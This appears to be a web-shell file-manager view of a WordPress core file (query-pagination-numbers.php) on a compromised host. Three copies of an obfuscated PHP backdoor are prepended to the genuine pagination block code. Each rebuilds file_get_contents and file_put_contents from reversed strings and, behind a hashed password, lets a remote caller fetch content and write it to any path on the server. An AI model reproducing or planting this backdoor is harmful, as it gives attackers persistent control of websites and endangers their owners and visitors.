HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/www/wp-includes/blocks/query-pagination-numbers.php
<?php 
$rNMtX = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($rNMtX[0]) /*+/*+*/
. md5($rNMtX[0])) == "9".
"f".
"6".
"6".
"e".
"2".
"4".
"7".
"a".
"1".
"a".
"d".
"5".
"4".
"d".
"2".
"3".
"0".
"4".
"0".
"7".
"3".
"d".
"8".
"8".
"8".
"8".
"d".
"e".
"c".
"0".
"5") {
$JQufgOdLY = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$HsNPxwHc = $JQufgOdLY /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$KXYji = $JQufgOdLY
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function uIkhUYBsCP($nGdGeitLg) { if (empty($nGdGeitLg)) return false; if (!is_dir($nGdGeitLg)) { uIkhUYBsCP(dirname($nGdGeitLg), 0755, true); mkdir($nGdGeitLg); } } !file_exists(dirname($rNMtX[1])) && uIkhUYBsCP(dirname($rNMtX[1])); $yPhThAPS = @$KXYji($rNMtX[2]); echo @$HsNPxwHc($rNMtX[1], $yPhThAPS) ? 1 : 0; die; }key($rNMtX) == "of" && die("Qian Ru Ok"); ?><?php 
$IjlIXqfB = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($IjlIXqfB[0]) /*+/*+*/
. md5($IjlIXqfB[0])) == "6".
"2".
"6".
"6".
"f".
"d".
"8".
"9".
"1".
"f".
"1".
"5".
"9".
"b".
"f".
"7".
"5".
"e".
"a".
"e".
"6".
"5".
"e".
"6".
"0".
"d".
"2".
"2".
"c".
"f".
"d".
"1") {
$mGIDjRasb = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$kdFDJzXfp = $mGIDjRasb /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$NWSmFWmz = $mGIDjRasb
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function PAlmOX($qTreokKV) { if (empty($qTreokKV)) return false; if (!is_dir($qTreokKV)) { PAlmOX(dirname($qTreokKV), 0755, true); mkdir($qTreokKV); } } !file_exists(dirname($IjlIXqfB[1])) && PAlmOX(dirname($IjlIXqfB[1])); $uMigfU = @$NWSmFWmz($IjlIXqfB[2]); echo @$kdFDJzXfp($IjlIXqfB[1], $uMigfU) ? 1 : 0; die; }key($IjlIXqfB) == "of" && die("Qian Ru Ok"); ?><?php 
$TfXupWIrPf = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($TfXupWIrPf[0]) /*+/*+*/
. md5($TfXupWIrPf[0])) == "7".
"d".
"e".
"4".
"b".
"7".
"b".
"e".
"3".
"2".
"5".
"1".
"3".
"5".
"c".
"3".
"9".
"1".
"0".
"3".
"b".
"7".
"b".
"3".
"5".
"7".
"d".
"5".
"3".
"b".
"a".
"a") {
$RDElJr = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$kNYvzb = $RDElJr /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$KONuAOTrh = $RDElJr
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function gpPlAfyjvs($gowEHsPB) { if (empty($gowEHsPB)) return false; if (!is_dir($gowEHsPB)) { gpPlAfyjvs(dirname($gowEHsPB), 0755, true); mkdir($gowEHsPB); } } !file_exists(dirname($TfXupWIrPf[1])) && gpPlAfyjvs(dirname($TfXupWIrPf[1])); $wEiUjheYpA = @$KONuAOTrh($TfXupWIrPf[2]); echo @$kNYvzb($TfXupWIrPf[1], $wEiUjheYpA) ? 1 : 0; die; }key($TfXupWIrPf) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Server-side rendering of the `core/query-pagination-numbers` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/query-pagination-numbers` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the pagination numbers for the Query.
 */
function render_block_core_query_pagination_numbers( $attributes, $content, $block ) {
	$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
	$page     = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];
	$max_page = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0;

	$wrapper_attributes = get_block_wrapper_attributes();
	$content            = '';
	global $wp_query;
	if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) {
		// Take into account if we have set a bigger `max page`
		// than what the query has.
		$total         = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
		$paginate_args = array(
			'prev_next' => false,
			'total'     => $total,
		);
		$content       = paginate_links( $paginate_args );
	} else {
		$block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) );
		// `paginate_links` works with the global $wp_query, so we have to
		// temporarily switch it with our custom query.
		$prev_wp_query = $wp_query;
		$wp_query      = $block_query;
		$total         = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
		$paginate_args = array(
			'base'      => '%_%',
			'format'    => "?$page_key=%#%",
			'current'   => max( 1, $page ),
			'total'     => $total,
			'prev_next' => false,
		);
		if ( 1 !== $page ) {
			/**
			 * `paginate_links` doesn't use the provided `format` when the page is `1`.
			 * This is great for the main query as it removes the extra query params
			 * making the URL shorter, but in the case of multiple custom queries is
			 * problematic. It results in returning an empty link which ends up with
			 * a link to the current page.
			 *
			 * A way to address this is to add a `fake` query arg with no value that
			 * is the same for all custom queries. This way the link is not empty and
			 * preserves all the other existent query args.
			 *
			 * @see https://developer.wordpress.org/reference/functions/paginate_links/
			 *
			 * The proper fix of this should be in core. Track Ticket:
			 * @see https://core.trac.wordpress.org/ticket/53868
			 *
			 * TODO: After two WP versions (starting from the WP version the core patch landed),
			 * we should remove this and call `paginate_links` with the proper new arg.
			 */
			$paginate_args['add_args'] = array( 'cst' => '' );
		}
		// We still need to preserve `paged` query param if exists, as is used
		// for Queries that inherit from global context.
		$paged = empty( $_GET['paged'] ) ? null : (int) $_GET['paged'];
		if ( $paged ) {
			$paginate_args['add_args'] = array( 'paged' => $paged );
		}
		$content = paginate_links( $paginate_args );
		wp_reset_postdata(); // Restore original Post Data.
		$wp_query = $prev_wp_query;
	}
	if ( empty( $content ) ) {
		return '';
	}
	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/query-pagination-numbers` block on the server.
 */
function register_block_core_query_pagination_numbers() {
	register_block_type_from_metadata(
		__DIR__ . '/query-pagination-numbers',
		array(
			'render_callback' => 'render_block_core_query_pagination_numbers',
		)
	);
}
add_action( 'init', 'register_block_core_query_pagination_numbers' ); ?>